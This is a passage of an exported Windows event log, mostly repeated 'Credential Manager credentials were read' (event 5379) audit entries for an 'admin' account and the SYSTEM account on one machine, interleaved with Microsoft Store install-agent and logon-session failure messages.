Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.763\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.764\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.764\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.764\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.765\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.765\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.765\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.766\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.766\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.766\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.766\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.768\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.773\t2006\t\"Catalog Cache items read from disk into memory. Loaded item count:  = 68 \u00a0Deleted item count:  = 3 \u00a0\nError: The operation completed successfully.\nFunction: CatalogDataStore::_ReadCacheFromDisk\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\catalogdatastore.cpp (473)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.773\t2006\t\"[Start] Creating Queue Item for the workCatalogId = PackageFamilyName:Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2244)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.774\t2006\t\"[End] Creating Queue Item for the workCatalogId = PackageFamilyName:Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2244)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.774\t2006\t\"[Start] Item inserted into the queue. Attempting to create progresstrackersItem = 9NRZT3Q9R3DL \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2335)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.774\t2006\t\"[End] Item inserted into the queue. Attempting to create progresstrackersItem = 9NRZT3Q9R3DL \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_EnqueueWork\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (2335)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.775\t2006\t\"Received checkpoint data updateItem = 9NRZT3Q9R3DL \u00a0\u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::NotifyCheckpointChanged\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (3602)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.775\t2006\t\"Unable to delete StorePreSearchTimes registry key\nError: The system cannot find the file specified.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (5579)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.775\t2006\t\"Raising State Change for Item = , InstallState = 12 \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::FlushEventQueue\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (3547)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.776\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.776\t2152\tInstall progress state changed for package:Microsoft.WindowsAppRuntime.2_8wekyb3d8bbwe to state:12.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 08:29:25.776\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.777\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.777\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.777\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.778\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.778\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.778\t2006\t\"Queue State: Working = 0, Pending = 0, Idle = 1 \u00a0\nError: The operation completed successfully.\nFunction: InstallQueue2::_FindNextPendingItem\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\installqueue2.cpp (4794)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.778\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.779\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.779\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.779\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.779\t2007\t\"No CV passed in - generating a new one.\nError: The operation completed successfully.\nFunction: WindowsUpdate::CommonTelemetry::GenerateIfMissingCorrelationVector\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\commontelemetry.cpp (375)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.779\t2006\t\"request: ProductId = (vector), checkApplicability = false, CV = fZ45hDIq50OyI64m.0\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::GetAppDataForUserAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (3802)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.779\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.780\t2006\t\"request: addAsPaused = true, clientID = PhoneExperienceHost, CV = exbuXxFHwECWL3f3.2.3.1.2\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::SearchForUpdatesWithPausedAddAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (4726)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.780\t2006\t\"Checking interactive for update for scan caller: PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (385)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.780\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.783\t2006\t\"Failure detected\nError: The system cannot find the file specified.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (2614)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.784\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (1792)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.784\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (1882)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.784\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (2576)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.784\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (334)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.784\t2007\t\"No tickets found for the store primary acount.\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: TryGetTickets\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\storeappinfo.cpp (1223)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (1862)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (564)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (751)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (477)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2006\t\"Failure detected\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauthstatics.cpp (134)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.787\t2007\t\"No tickets found for the current user.\nError: A specified logon session does not exist. It may already have been terminated.\nFunction: TryGetTickets\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\storeappinfo.cpp (1294)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.789\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.789\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.789\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.790\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.790\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.790\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.791\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.791\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.791\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.792\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.792\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.792\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.792\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.792\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.793\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.793\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.795\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.796\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.817\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.818\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity 